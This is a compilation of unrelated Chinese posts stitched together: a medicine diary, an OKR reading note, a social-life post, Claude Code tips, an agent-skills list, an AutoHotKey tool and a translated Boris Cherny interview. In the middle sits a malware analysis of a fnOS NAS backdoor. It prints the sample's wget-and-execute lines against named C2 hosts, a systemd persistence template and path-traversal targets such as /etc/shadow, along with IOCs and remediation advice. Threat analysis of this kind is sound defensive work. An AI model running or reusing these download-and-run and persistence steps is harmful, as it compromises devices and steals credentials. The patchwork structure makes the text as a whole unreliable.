2026年3月

整理桌面,顺带整理抽屉发现一大堆过期的药品:
丢到垃圾桶的药

还有以前保健品(尤其是还没拆盒子的善存,叶黄素啊之类的),如:
未开盒的保健品

发现以后老了可能也是"买保健品"的那种命,这感觉就是怕死吧

还有一个就是现在为缓解身体和器官的发炎,不适,以及疼痛要服用的一些药物,中药,有时也会突然丧失生活的信心,但又得坚持下去。

以及每天可能要服用以及外用的药

感觉已经过了那个死就死吧的年纪了,尤其是有了孩子之后,失去了怒发冲冠,豁出一切的勇气(当然孩子也有可能是借口,总之就是失去了锐气和朝气),感觉真是即怕疼,又怕死,每天吃一堆这玩意,晦气。

我的读书笔记,主要内容就是自己做了一张 OKR 和 KPI 的对比表格。 📝📝📝

【读书笔记】OKR 不适合国企


【读书笔记】OKR 不适合国企

一、OKR 是什么?

OKR = Objectives(目标)+ Key Results(关键结果)

它是一套目标对齐、聚焦、透明、可衡量的管理工具,用来回答两件事:

  • 我们 要去哪里 ?(O,目标)
  • 我们 怎么证明到了 ?(KR,关键结果)

二、OKR 核心要点

1. O 要定性

有方向、敢挑战,不写数字,只写方向,比如:「提升产品口碑」、「打造高效团队」。

2. KR 必须定量

必须能算出来,可验收、可打分,比如:「用户满意度从 90% 提升到 95%」、「交付周期缩短 20%」。

3. 少而精

一般 3–5 个 O,每个 O 配 2–4 个 KR,避免目标泛滥。

4. 全员公开透明

从上到下都能看见,减少内耗,对齐战略。

5. 上下结合

公司定方向 → 部门拆解 → 个人主动认领,而不是硬压。

6. 弱挂钩薪酬

OKR 是 管理工具,不是考核工具,鼓励挑战高难度,不因为完不成直接罚钱。

7. 短周期迭代

通常按 季度 执行,灵活调整。

三、标准化 OKR 工具

  • 飞书 OKR(互联网 / 科技公司最常用)
  • 钉钉 OKR(阿里生态)
  • 企业微信 OKR(腾讯生态)

四、OKR 与 KPI 的主要区别

640

五、国企适合哪一种

传统国企不适合纯 OKR,也不建议死守纯 KPI。

最优方案:KPI 为主体,OKR 做补充

1. 原因分析

①国企的特点

层级清晰、合规优先、考核与薪酬强绑定、稳定>冒险、有大量刚性指标。

②纯 OKR 不适合

OKR 弱考核、鼓励挑战、自下而上,和国企 「任务必须完成、责任落实到人」 的体系冲突。

③纯 KPI 太僵化

扼杀创新、改革、数字化、专项攻坚的动力。

2. 落地建议

①刚性任务用 KPI

营收、利润、安全生产、合规、政务要求、基础运维。

②创新 / 改革 / 项目用 OKR

数字化转型、流程优化、新业务试点、专项攻坚、服务提升。

六、相关书籍推荐

1. John Doerr《这就是 OKR》

640

本文就是主要参考这一本,OKR 最权威的书,Google、Intel 等超级企业的实战源头,必读。

2. Christina Wodtke《OKR 工作法》

640 (1)

入门比较友好,手把手教你写 O 和 KR,推荐。


全文链接 【读书笔记】OKR 不适合国企

我大多数朋友一两年见一次,微信上就把事情说了,好朋友的话一年见两三次。

去年经过堂哥认识了几个新朋友,他们社交频率太高了,老叫我出去玩或者晚上喝酒,我不想出去,每次都得找借口,更恐怖的是,有时候我拒绝了他直接跑我楼下找我。

这 TM 有点小时候的感觉了,小时候就是这样,除了午饭、晚饭、晚上睡觉,只要父母去上班了,我就跑小伙伴那里去

但是成年后,扛不住这种社交频率,两三个月见一次朋友,一年分摊给重要的四五个朋友差不多了,其他时间忙自己的项目、看书、学习、打游戏,反正基本不出门。

我也避免和别人成为朋友,毕竟认识的大多数人和他们聊天还不如和 AI 对话有意义,但有时间就是无法避免认识新人,如何在不得罪对方的情况下避免对方把我当好朋友,老是来找我,我喝醉了就玩的变态,可能让他们会错意了

2. 漏洞背景与威胁暴露面

2.1 漏洞描述:未授权路径穿越

漏洞点位于 /app-center-static 静态资源接口。由于程序未能对输入路径进行充分的规范化校验,攻击者可通过构造包含 ../ 的特殊序列,越权访问系统内核文件及用户私有目录(如 /etc/shadow, /root/.ssh/id_rsa, 以及系统配置文件)。

2.2 暴露情况分析

截至2026年初,全球约有 20万+ 台飞牛NAS设备公网暴露。由于官方早期版本更新采用静默方式且缺乏公开安全公告,大量用户未能及时修补,形成了一个规模庞大的脆弱性暴露面。


3. 恶意样本静态概览 (Static Analysis)

实验对捕获的样本进行了基础属性鉴定:

属性项 技术参数
样本名 BKD-fnOS-Agent
文件类型 ELF 64-bit LSB executable, x86-64
文件大小 2.13 MB (2,132,816 Bytes)
MD5 8952adf21c927cd228c24ca431d3cdaf
SHA256 3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd
符号表 已剥离 (Stripped)


4. 样本核心恶意逻辑解析 (Technical Breakdown)

4.1 基于状态机的控制流 (State Machine)

样本核心主函数 sub_4D0 采用经典的状态机设计。这种架构能够有效对抗简单的静态特征匹配,并使恶意行为呈现高度的动态性和阶段性。

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  • 初始状态 (ID: 5): 环境自检与环境变量初始化。
  • 指令等待 (ID: 8): 与 C2 通信获取后续指示。
  • 载荷下发 (ID: 22): 执行核心横向移动或二阶段载荷下载。

4.2 隐蔽下载与静默执行

在状态 22LL 下,样本展现了典型的“无文件投放”尝试,通过临时目录 /tmp 进行二阶段转存并立即执行:

// 伪代码:恶意载荷下载逻辑
case 22LL:
  sub_CF0("cd /tmp; rm -rf bkd; wget http://xd.killaurasleep.top/bkd; chmod +x bkd; ./bkd; rm -rf bkd");
  sub_CF0("cd /tmp; rm -rf bkd2; wget http://151.240.13.91/bkd2; chmod +x bkd2; ./bkd2; rm -rf bkd2");

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此阶段采用了双重冗余策略:同时尝试从域名 xd.killaurasleep.top 和原生存 IP 151.240.13.91 获取载荷,确保攻击链路的稳健性。

4.3 标准流重定向技术

为规避各种终端审计和用户察觉,样本在 sub_CF0 中实现了复杂的重定向逻辑。它通过调用 dup2 将文件描述符 1 (stdout) 和 2 (stderr) 全部导向 /dev/null

4.png

5.png

这种做法意味着任何由 sub_115D (execve 包装器) 启动的子进程都处于“完全静默”状态,即便产生错误信息也无法回显到终端。

4.4 系统调用包装器与参数处理 (Execve Wrapper)

样本并未直接调用 libc 库函数,而是通过 sub_115D 实现了 execve 系统调用的深度包装。该函数具备处理可变参数的能力,能够灵活构造复杂的 shell 命令执行环境。

6.png

分析显示,sub_115D 使用了 va_list 机制遍历传入的参数。为了保证参数在内核态执行时的稳定性,样本通过 alloca 指令在栈上动态分配内存空间,将参数数组序列化后添加 NULL 终止符。

7.png

这种设计不仅增强了代码的可移植性,也为后续复杂插件或二阶段载荷的加载提供了底层支撑。


5. 持久化机制深度分析 (Persistence)

样本针对 fnOS 基于 Linux 的特性,选择了最稳定的持久化方案:Systemd Service 注入

5.1 服务文件构造 (sub_990)

样本会将自身重排并复制到系统受信任路径(如 /usr/bin/),随后动态生成一个 .service 配置文件。

8.png

9.png

生成的服务配置样例:

[Unit]
Description=AutoStart Service
After=network-online.target

[Service]
Type=oneshot
ExecStart=/usr/bin/[BKD_NAME]
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

5.2 自动启动链条

通过执行 systemctl enable [service_name],攻击者在 /etc/systemd/system/multi-user.target.wants/ 下建立了软链接。这确保了 NAS 设备即便在断电重启或固件升级后,恶意进程依然会自动重新拉起。

10.png


6. 威胁情报 (Threat Intelligence - IOCs)

6.1 文件哈希 (Host Indicators)

  • MD5: 8952adf21c927cd228c24ca431d3cdaf
  • SHA-256: 3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd

6.2 网络基础设施 (Network Indicators)

  • C2 域名: xd.killaurasleep.top
  • C2 IP 地址: 151.240.13.91
  • 资源定位器 (URLs):
    • http://xd.killaurasleep.top/bkd
    • http://151.240.13.91/bkd2

6.3 关键落地路径 (File Path IOCs)

类别 检视路径
疑似恶意程序 /usr/sbin/gots / /usr/bin/nginx / /usr/bin/dockers
系统组件篡改 /usr/trim/bin/trim_https_cgi
持久化服务 /etc/systemd/system/*.service
临时工作目录 /tmp/bkd, /tmp/bkd2


7. 处置与加固建议

  1. 紧急排查: 检查系统是否存在上述 IOC 列表中的文件或异常 systemd 服务,重点关注 /usr/bin/ 目录下近期新增的可执行文件。
  2. 固件更新: 立即升级 fnOS 至最新版本,确保路径穿越补丁已生效。
  3. 内网隔离: 在未完成修复前,建议关闭 NAS 设备的外部端口转发或使用 VPN 安全隧道。
  4. 凭据清洗: 由于攻击者可能利用路径穿越窃取 /etc/shadow,建议在清理完成后修改所有超级用户密码及 SSH 密钥。

用 CC 也有段时间了,分享几个可能不是人人都知道的小技巧:

1. /clear 不是清空历史,而是开启新的 session ,之前的上下文还在

2. 在 .claudeignore 里可以配置忽略文件,避免 AI 读取 node_modules 拖慢速度

3. 用 @ 引用文件时,可以直接 @src/ 引用整个目录

4. 提示词里加 step by step 真的有用,复杂任务拆解后成功率明显提升

5. 遇到报错直接贴错误信息,不用解释太多,CC 自己能从 stack trace 里读明白

你们还有什么实用的技巧?

最近在用 Cursor 和 Claude Code 写代码的时候,发现 Agent Skills 这个概念越来越火了——简单说就是一个 SKILL.md 文件,告诉 AI Agent 如何完成特定任务(代码审查、生成测试、写文档等),相当于给 AI 装了个"插件"。

但问题是,Skills 散落在各个 GitHub 仓库里,找起来很费劲。Anthropic 官方的、Vercel 的、微软的、社区的……而且不同平台( Cursor / Claude Code / Copilot / Windsurf / Codex )的 Skills 目录结构还不一样。

所以我整理了一份 Awesome Agent Skills 列表:

GitHub: https://github.com/JackyST0/awesome-agent-skills

主要内容:

  • 官方资源:Anthropic ( 80k+ Stars )、Vercel ( 5k+ Stars )、微软( 131 个 Azure SDK Skills )等官方仓库
  • Skills 合集:awesome-cursorrules ( 38k Stars )、everything-claude-code ( 56k Stars )等
  • 开发工具:代码审查、Playwright 测试、安全审计、Vue/Vite/Supabase/Expo 等框架专用 Skills
  • 效率提升:开发工作流、TDD 、营销 Skills
  • 写作/设计:Word/PDF/PPT/Excel 处理、UI 设计、品牌规范等
  • DevOps:Terraform/K8s/Docker/GCP 部署管理

亮点功能:

  1. 在线搜索 — 不想翻长列表可以直接搜索: https://jackyst0.github.io/awesome-agent-skills/

  2. 跨平台兼容 — 同一套 Skills 可以在 Cursor 、Claude Code 、GitHub Copilot 、Windsurf 、Codex 、OpenCode 6 个平台使用

  3. 5 个示例 Skills — 仓库自带代码审查、Git Commit 消息生成、单元测试生成、API 文档生成、调试助手 5 个开箱即用的示例

  4. 一键安装脚本 — 支持 macOS/Linux/Windows ,一行命令把 Skills 装到 Cursor/Claude Code 等平台:

curl -sL https://raw.githubusercontent.com/JackyST0/awesome-agent-skills/main/install.sh | bash


欢迎提 PR 把你觉得好用的 Skills 加进来,觉得不错的话可以 Star 支持一下 🙏

本人双持 MacOS 和 Windows 用户,经常来回切换 Coding / Gaming ,日常体验中有几个痛点:

  • 场景一:用多了 MacOS 的 Command + 字母键 就觉得 Windows 的 Ctrl + 字母键 很不舒服。可能是左手小拇指去按 Ctrl的时候,食指老是脱离 F 键,需要重新寻找,导致效率很低。且切换设备后,经常出现按错的情况。
  • 场景二:移动光标的场景,一般都是按方向键,但是经常有些键盘方向键很小,需要右手找准后在按,这个时候右手又脱离 J 键了,效率比较低。

针对上面场景,简单做了一款基于 AutoHotKey 的小工具,支持

  • Remap 功能:支持自定义配置,通过配置文件的方式直接把 Alt 、Ctrl 、Shift 、Win + 其他按键 映射到你想要的案件,例如把 Windows 下的 Alt 映射成 Ctrl,以获得无缝体验。
  • CapsKeys 功能:支持将 CapsLock + QWERS映射成上下左右光标移动或者是 Back 键,不用再去寻找方向键,彻底解放右手!

简单来说,这个工具可以让你:Mac / Windows 双持设备无缝切换,且可以让你的双手永远处在核心区域,而不用去管小键盘、方向键区,大大提升效率。

这个其实是之前大学时期做的一个小工具,最近想体验一下 VibeCoding 又优化了一些,想着闲来无事,就分享出来给大家下载品尝,如果有任何问题或者想要的 Feature ,可以提出来一起完善~

插个题外话,如果想体验极致的输入效率,还推荐大家可以了解 双拼输入。笔者也是一个双拼用户~

贴一下短平快做的主页: https://halocaps.tans.fun ,顺便记录第一次在 V 站发帖

Boris Cherny 近期访谈不断。他是 Anthropic 公司 Claude Code 的创始人兼负责人,他曾在 Meta 公司担任首席工程师五年,并著有《Programming TypeScript》一书。

 

在最新的 Pragmatic Engineer 节目中,他详细分享了 Claude Code 的构建过程以及 Boris 的日常使​​用精盐。他深入分享了工作流程的细节,包括并行 agent、PR 结构、代码 review 模式,以及系统如何从大型代码库中获取上下文信息。

 

Boris 还介绍了 Claude Cowork 的构建过程。随着编码变得越来越容易上手,工程师的角色正在发生转变。节目中,他分享了这种转变在实践中意味着什么,哪些技能变得更加重要,以及产品、工程和设计之间的界限为何变得模糊。

 

他还提到,Anthropic 所有人职称均为 Member of Technical Staff,核心是承认“大家都在摸索,无绝对正确答案”,鼓励通才模式,打破角色边界。团队文化拒绝大量文档(不写 PRD),倾向“直接做原型、演示验证”,而非“写出来对齐”,原型化是产品构建的核心方式。

 

Boris 提醒,AI 进展极快,需保持“新手心态”和智识上的谦逊,以前失败的想法可能因模型变强而可行,需不断调整自身预期和工作方式。AI 让“写代码”从工程师专属技能变成人人可及的能力,类似印刷机颠覆抄写员,虽有失落感,但本质是工具普及,会催生全新职业和可能性。

 

他认为,现在工程师应放下对代码风格、语言、框架的执念(模型可灵活适配);需坚持“假设驱动”思维、好奇心、开放心态和适应力,通才会越来越被重视。此外,当下“短注意力”成为被奖励的技能,因为工作模式从深度沉浸式转向多 agent 管理。

 

我们对这次访谈进行了翻译,并在不改变原意基础上进行了删减,以飨读者。

 

靠“感觉”创业

 

主持人:你是怎么进入科技行业、开始做软件工程和编程的?

 

Boris:这要从很早之前说起,大概有两件事。大概在我十三岁左右的时候,我开始在 eBay 上卖自己的旧 Pokémon 卡牌,我发现 eBay 的商品页面可以写 HTML,我就去看别人卖 Pokémon 卡的页面,发现有些人的页面字体特别大、颜色特别鲜艳之类的。后来,我还发现了一个叫 blink tag 的标签,如果在页面里加上 blink tag,页面里的文字就会闪烁。结果神奇的是,我的卡牌就能卖到 99 美分,而不是原来的 49 美分。我就是这样开始接触 HTML 的,后来我买了一本 HTML 的书正式学了一下。

 

第二件发生在差不多初中的时候。那时候,我们数学课用的是那种老式的 TI83UH 图形计算器。我后来发现,如果我把数学题的答案直接写成程序放进计算器里,考试的时候就能得到更好的成绩。

 

主持人:所以你写了一些小程序?

 

Boris:对,一开始就是把答案写进程序里。但后来考试变难了,我就没法提前知道题目的系数之类的参数,所以我开始写“求解器”,而不是直接写答案。再后来数学更复杂了,我就不得不从 Basic 语言降到底层一点的 Assembly,只是为了让程序运行得更快一点。

 

主持人:所以你在高中就开始写汇编了?

 

Boris:大概是初中或高中吧,可能是八年级或九年级左右。后来发生了一件挺有意思的事:我班上的同学开始发现我有这个“外挂”,他们有点嫉妒。于是我买了一根小小的串口线,把程序也传给他们,结果下一次数学考试全班都拿了 A。老师就开始怀疑到底发生了什么,最后她发现了这件事,不过只是说:“这次就算了,下不为例。”

 

但对我来说,这件事一直很实际。我在学校学的是经济学,后来辍学去做创业公司。我从来没觉得编程会成为一份职业。在我看来,编程一直只是一个工具,用来做东西、做有用的东西。

 

我做的第一个创业项目,其实挺荒唐的。再后来我又做了几个不同的创业项目,然后很早就加入了 YC 体系的一家创业公司,算是那家公司最早的员工之一。

 

主持人:那你是怎么决定一个创业做完之后再去做下一个的?

 

Boris:主要是看“感觉”。它从来不是一条直线,你总是在不断调整方向。在这个过程中,你得搞清楚市场到底要什么、用户到底要什么,而那个答案往往和你最初的想法完全不同。

 

你最开始的那个想法,本质上只是一个假设。而这个假设,几乎总是要调整一次、两次、甚至三次,才能慢慢逼近真实。

 

举个例子。后来我加入了一家叫 Agile Diagnosis 的医疗软件公司,也是 YC 早期的项目,大概是 2011、2012 年左右。我们想做一款给医生用的软件。当时我们观察到,不同医院在临床决策流程上差别很大,其中芝加哥有一家医院,在心脏相关症状的诊断流程上做得特别好。我们就想,如果全美国的医院都用上这套流程,治疗效果会不会更好?

 

于是我们尝试把这个流程标准化,做了一个决策树软件给医生用。团队很小,就几个人,我写了其中一部分代码。那是一个运行在浏览器里的软件,因为要呈现可视化的决策树,我还写了一个 SVG 渲染器。但当时的医院环境很老旧,浏览器基本还是 Internet Explorer 6。

 

产品上线后,我们盯着 DAU(日活用户)曲线,结果是一条直线,完全平的。我们在几家医院做了试点,包括 UCSF。那时我们在 Palo Alto,我干脆骑上摩托车跑到 UCSF,跟着医生一起工作了好几天,想亲眼看看他们到底是怎么用这个产品的。后来我终于发现问题所在:医生根本没有时间坐下来用电脑。

 

他们的节奏是这样的:看完一个病人到下一个病人之间,可能只有五分钟。这五分钟里,你要走到走廊另一头的电脑站,打开那台非常老旧的电脑,开机就要三分钟;然后打开 Internet Explorer 6,又要 30 秒;再打开我们的应用,还要登录。等这一套流程走完,五分钟已经没了,下一个病人已经在门口等着了。

 

所以,我们做了一个大调整:把整个产品重写成 Android 版本。但结果呢?医生还是不用。我们又继续观察,发现了一个有意思的细节:医生查房的时候,身后通常跟着一群住院医(residents)。这其实是一个社交场景,医生需要被看作权威,如果他们一直低头看手机,那个形象就不对了。

 

这时候我们意识到,也许医生根本不是我们的目标用户。真正应该用这个产品的,可能是护士、X 光技师这类角色。但也就是在这个节点,我选择了离开,因为这个方向已经离我最想做的事情越来越远了。

 

对我来说,最有意思的事情始终只有一个:寻找 product-market fit(产品和市场的匹配)。这个过程永远充满意外。你不能只抱着一个宏大的想法不放,因为那个想法大概率是错的。你能做的就是提出一个个假设,然后一路往下验证,直到看清什么才是真正对的。

 

主持人:这个故事特别有意思。很多成功故事,大家只听到最后成功的那条路径。但现实中,大多数创业其实都是这样曲折的。还有一点让我印象很深,当时你是作为软件工程师被雇佣的,那时候还没有“产品工程师”这种说法。你看起来并不是只关注技术,而是关注最终结果。

 

Boris:当然,不同工程师有不同风格。就拿我现在的团队来说,Jared Sumner 属于那种技术极其深厚的人,对系统的理解比我见过的任何人都强,团队里确实需要这种深度。但对我来说,工程一直是一件很务实的事。我一直是个“通才”,做设计、做工程、做用户研究,本质上都是同一件事。

 

我第一份工作是在十六岁。当时只是想买一把电吉他,就开始做自由职业。我想:“那就做网站吧。”那时候还没有 Fiverr,有一些别的自由职业平台。我建了个网站,到处投标接项目。拿到第一笔报酬后,我直接把所有钱拿去买了一把电吉他。

 

这个经历很有意思。当你一个人做事情时,就必须同时扮演很多角色:写代码、做设计、做会计、跟客户沟通,所以我的工作方式一直是这样。

 

在 Meta,经历了“黑客文化”的消失

 

离谱的 Ins 技术栈

 

主持人: 做了几家创业公司之后,你后来加入了 Facebook(现在叫 Meta),在那里待了七年。能不能讲讲你在那里的经历?你做了哪些项目?学到了什么?

 

Boris:我最开始是在 Facebook Groups 团队,是 Vlad Kolesnikov 招我进去的。我记得他现在好像还在 Facebook,只是换了别的团队。那段经历很有意思,因为我当时和一群早期 JavaScript 开发者一起工作,自己也写了很多 JavaScript。

 

后来回头看会发现,我一直在和同一批人不断交集。比如 Vlad 之前做过 Bolt.js,这是 Ads Manager 使用的框架,后来 Facebook 内部转向 React 之后也和这套东西有些关联。

 

我当时在 Facebook Groups 工作,对这个产品特别兴奋,因为它的使命是“把人和他们的社区连接起来”。我自己一直是 Reddit 的重度用户,从青少年时期就开始用了,因为我身边其实没有会写代码的人。哪怕在大学,我也几乎不认识程序员。

 

老实说,我以前甚至有点不好意思承认自己会写代码,因为那时候这件事太“nerdy”了。我觉得这只是我会做的一件事,但我更想成为那种“酷一点的人”。后来我在 Reddit 上发现了一个编程社区,当时特别震惊:原来还有其他人也喜欢这个东西。这个爱好其实非常小众、非常奇怪,但突然之间你就找到了志同道合的人。那种连接感让我非常兴奋,所以我一直很想参与到这种事情里,在某种程度上贡献一点。

 

我在 Facebook Groups 工作了一段时间,做过很多项目,后来成了这个团队的领导。随着团队扩大,工作内容也发生了变化:一开始更多是写代码、做产品,后来越来越多变成写文档、做协调、做组织管理、把任务分配给其他人。

 

那段时间 Facebook 的文化也在变化。早期那种“黑客文化”逐渐消失了,开始有更多文档流程、对齐会议,还有很多工作围绕隐私、安全这些基础问题展开。坦白说,在 Facebook 早期高速增长的时候,很多地方其实是“先做再说”,留下了不少技术债和制度债,到了后来就必须把这些债还掉。

 

后来我又在 Instagram 工作了几年。那段经历也挺有意思。当时我妻子拿到一个工作机会,她特别兴奋,跑来问我:“我拿到这个 offer,但我们得搬家,可以吗?”我说:“没问题啊,我做的是科技行业,在哪都能远程工作。这个工作在哪?”她说:“在奈良。”我说:“奈良在哪?”她说:“日本乡下的奈良。”

 

主持人:还得跨时区。

 

Boris:对,时区也不一样。那会儿大概是 2021 年,后来我就想找个愿意“挂靠”我的团队,因为内部有一套很玄学的 HR 规则,比如你必须在某个时区、必须和某个团队一起办公之类的。刚好 Instagram 在东京有一个还在萌芽阶段的小团队,负责人是 Will Bailey,他就是做出 Instagram Stories 的那个人,后来也当过一段时间我的经理。我们就决定一起把这个团队做大:我人在奈良远程,团队大部分人在东京。

 

那段时间我开始在 Instagram 上做事,然后就发现他们的技术栈……简直离谱。Facebook 的 Web 服务技术栈当时是全球顶配:从 Hack 语言、HHVM 运行时,到 GraphQL 作为传输层,再到 Relay 这类客户端库,外加一整套 React 生态,全都特别强。世界上没有哪个开发栈能比得上,而且它是彻底为性能、效率做过极致优化的。

 

但到了 Instagram 就完全不是一回事了。Python 环境里类型追踪不好用,跳转到定义也不好用,用的是那种拼拼凑凑的 Django,再加上各种乱七八糟的东西,比如某个被 fork 过的……你知道的,反正很多东西都不好使,整体体验很糟。

 

我加入 Instagram 时是在日本的 Labs 团队,任务是给 Instagram 找“下一个 big thing”。我们试了一些方向,但我很快意识到,在那套技术栈上做事,我根本发挥不出来,因为栈太烂了。所以我干脆转去做 dev infra,这东西不修,啥都做不起来。

 

我们做了几个大项目:一个是从 Python 迁移到 Facebook 的大 monolith(大一统代码库),另一个是从 REST 迁移到 GraphQL。这类迁移都不是一两个月能搞定的,通常需要几百个工程师、花上好几年时间,代码量也巨大,是非常重的工程。当然,现在能做得更快了。

 

小扎:拿 20%的时间去修技术债

 

主持人: 但现在这些工具,尤其 AI 工具,迁移其实算是一个很适合的用例,对吧?

 

Boris:这简直就是它的完美用例。后来我就越做越深,在我离开 Instagram 时就一直在做 dev infra,带着一批迁移项目往前推。

 

我也是在那段时间认识了 Fiona Fung,她现在是 Claude Code 团队的 manager。我跟她合作过,她真的特别强领导力出色、技术深度夸张,而且对整个历史脉络和工程体系都有那种扎实的理解。我当时就觉得,这个团队没有比她更合适的经理了。

 

后来我开始做 code quality 相关的事,Instagram 的工作范围又扩大了一些。到我走的时候,我在 Meta 内负责的是全公司的代码质量,包括 Instagram、Facebook Messenger、WhatsApp、Reality Labs,以及其他那些代码库的整体质量。

 

Meta 内部有个项目叫 Better Engineering,大概是 2016 或 2018 年那会儿吧,Zuck 规定公司里每个工程师必须拿出 20% 的时间去修技术债,我们把这件事叫 Better Engineering。这里面有一部分是自下而上的,比如某个团队最清楚自己有哪些技术债要修。也有一部分是自上而下的,比如要做很大的迁移,要上新的语言特性、新的框架。

 

到了 Facebook 这种规模,每年会有成千上万次迁移。我参与了很多这样的事情,很快就发现,这事必须更有秩序一点。因为当时没有明确目标,没人说得清楚最终要达到什么效果,也没有追踪机制。所以,我们做了几件事:第一,建立一种集中式的方法,来给各种代码质量工作做优先级排序;第二,去量化代码质量对工程生产力的影响,最后发现影响非常大。

 

主持人:你们怎么测的?最后发现了什么?

 

Boris:方法有很多,其中一些我记得已经公开发表过,但也不确定是不是全都发了。核心思路是做因果分析、因果推断,去找“到底是什么因素让工程师更高产”。

 

这里面有些因素来自代码质量,有些不来自代码质量。比如 Meta 后来推“回归办公室”而不是一直远程,这个决策也部分受这些研究影响,因为我们确实找到了一些相关性很强、而且我们认为可能是因果关系的证据。

 

但代码质量本身对生产力的贡献也非常明显,能到两位数百分比的提升。事实证明,就算在最大规模的公司里也是这样。

 

主持人:听起来还挺让人安心的,因为很少有地方真的会把这件事量化。我顺带想到一点,对 大模型来说是不是也更容易“读懂”和工作?我的直觉是,但确实这方面数据不多。

 

Boris:对,我觉得很多大公司其实都写过类似的东西。Facebook 应该发过一些,微软也写过不少,谷歌也有。而且你想,如果你每做一个新功能,都要纠结“我到底该用框架 X 还是 Y 还是 Z”,原因只是代码库处在一个半迁移状态,这些东西在代码里到处都还残留着。那你作为工程师会很痛苦,新入职的人也会很痛苦,模型也可能直接选错,然后用户还得反过来纠正它。

 

所以更好的做法其实很简单:保持代码库干净;一旦开始迁移,就把迁移做完。这对工程师很好,在今天对模型也同样很好。

 

进入 Anthropic,逐渐不再手写代码

 

主持人:然后你加入了 Anthropic。我听过一个故事,你在那里的第一个 PR 被 Adam 拒了?

 

Boris:是 Adam Wolf 拒的。他当时算是带我上手的 Buddy(入职导师)。我加入 Anthropic 之后,其实也在想自己下一步到底该做什么。我跟不同实验室的人聊了很多,而 Anthropic 对我来说几乎是个很明显的选择,主要是因为使命感,这是我个人最需要的东西。

 

再加上我亲眼看到这些变化正在发生,你得有一套框架来理解它、思考我们在其中扮演什么角色。我自己还是个很重度的科幻读者,这绝对是我最爱的类型。我家里书架很大,堆了很多书。我很清楚这件事如果走偏了,会坏到什么程度。所以我就觉得:这里有一群严肃的思考者,大家真的在认真对待这件事,认真想“我们到底能做什么,让这件事走向更好的结果”。

 

我加入 Anthropic 之后,先做了一堆 ramp-up 项目,捣鼓了各种东西。我第一次提 PR 的时候还是手写的,因为我以为写代码就是这么写的。

 

主持人:以前确实就是这么写代码的。

 

Boris:对,以前就是这么写。但哪怕在当时,Anthropic 已经有个东西叫 Clyde,它是 Claude Code 的前身,但非常“凑合”,是 Python 写的,启动要四十秒,是研究代码,不是 agentic 的。但如果你提示词写得足够精准,工具用得足够“讲究”,它确实能帮你写代码。

 

所以 Adam 把我的 PR 拒了,然后跟我说,“你应该用这个 Clyde 来写”,我说“好”,结果我花了半天才搞懂怎么用,因为你得传一堆 flags,还得用对方式。但一旦跑通,它就直接吐出了一个能用的 PR,基本是一把梭。

 

这大概是在 2024 年九月或者八月。对我来说,那是我在 Anthropic 的第一个“啊哈”时刻。因为我以前习惯了只是 IDE 里那种 tab completion、按行补全,我完全没想到模型能直接给我搞出一个能跑的 PR。

 

Claude Code 源起

 

主持人:你加入 Anthropic 之后,我们深聊过,但这里也简单回顾一下,Claude Code 是怎么从一个看起来像“副项目”或者“小 hack”里长出来的?

 

Boris:我当时在捣鼓很多不同的东西。我做过一些产品相关的东西,也短暂做过一点强化学习,只是为了理解“我正在构建的那一层下面的那一层”到底是什么。

 

这其实也是我一直给工程师的建议:永远要理解你所在层级的下一层。这个很重要,因为它会给你更深的理解,让你在你真正工作的那一层有更多“可用的杠杆”。十年前我就这么说,到今天我还是这么说,只是“下一层”变得不一样了。以前你写 JavaScript,就得理解 JavaScript 的 VM、框架之类的;现在你得理解模型。

 

我捣鼓的很多东西,有的上线了,有的没有,后来我想做一件很简单的事:熟悉一下 Anthropic 的公开 API,因为我之前没用过,但我又不想做 UI,我就是想很快 hack 一个东西出来。因为那时候还没有 Claude Code,还是在手写代码,于是我写了一个小的 batch 工具,它会调用 Anthropic API,本质上就是一个聊天应用但跑在终端里,那时候 AI 就是这么用的。

 

我一直觉得工程师是第一批使用者。我们从对话式 AI 往 Agentic AI 迁移的时候,外界需要一点时间消化,但工程师其实很快就理解了。可现在你问非工程师“AI 是什么”,他们大概率还会说是对话式 AI,就是聊天机器人之类的。这也是为什么我对我们新做的 Cowork 这个产品很兴奋,因为它能把工程师很早看到的那种变化带给更多人。

 

但我回头看 Cowork,也会想到我们正在讲的这个时刻。最早 Claude Code 其实也不是 Claude Code,它一开始就是个 chatbot,因为我当时对 AI 的理解就是“聊天”。但我们必须继续往前找“下一步是什么”。

 

当时我做的那个 chatbot 有点用,但也就只是个 chatbot。接下来我想让它“用工具”,因为 Tool Use 刚出来,我也不知道那到底是什么,就想试试。我只给了它一个工具,就是那个 batch 工具。但我自己其实也不知道 batch 工具还能干嘛,于是我问了它一个问题:我现在在听什么歌?我当时甚至不确定这事能不能做。结果它直接写了一个小的 AppleScript 程序,用 sed 之类的东西打开我的音乐播放器,然后查询当前在播放什么。一把梭就写出来了,用的是 Sonnet 3.5。

 

这几乎是我在很短时间内经历的第二次“Agent 级别接近 AGI”的震撼时刻。我突然意识到:模型就是想用工具。你给它一个工具,它会自己想办法用这个工具把事情做完。

 

我觉得当时大家对“AI 编码”的思路,基本都是这样:把模型塞进一个盒子里,然后你来设计“接口”:你想怎么跟它交互、你希望它做什么。就像写程序一样,你先把模块和函数 stub 出来,说“这里是 AI”,然后整个系统的其他部分还是传统程序。

 

但这其实不是理解模型的正确方式。正确的方式是:模型本身就是一个“主体”。你给它工具,给它能运行的程序,让它去运行程序、去写程序,但不要把它硬塞进一个更大系统里、当成某个被你框死的组件。

 

这有点像 “bitter lesson” 的一个变体。“bitter lesson” 本身是一个很具体的框架,但它有很多推论。这里其中一个推论就是:让模型做它该做的事。别把它关进盒子里,别强行让它以某种特定方式去表现。

 

为了研究“安全”而发布

 

主持人:最早你意识到这种能力的一个方式,就是给模型接入工具,先让它能用 bash,然后再逐步接入文件系统,再接更多工具,对吗?

 

Boris:没错。我们先给它接了 bash。其实说“我们”有点夸张,最开始的三个月基本都是我一个人在做,后来团队才慢慢扩起来。最早就是 bash,然后就是第二个工具。

 

主持人:我记得我们上次做深聊的时候提到一个很有意思的事:当你把这个东西做出来,并且它真的开始用这些工具写代码时,你们在 Anthropic 内部其实讨论过要不要只在内部使用。因为它在工程团队里迅速传播,让大家的效率大幅提升。

 

Boris:是的。最后我们决定把它发布出来,其中一个重要原因是我们可以在真实环境里研究安全性。Anthropic 实验室存在的核心原因就是安全,如果你问 Anthropic 的任何人为什么选择来这里,大概率都会说是因为安全。

 

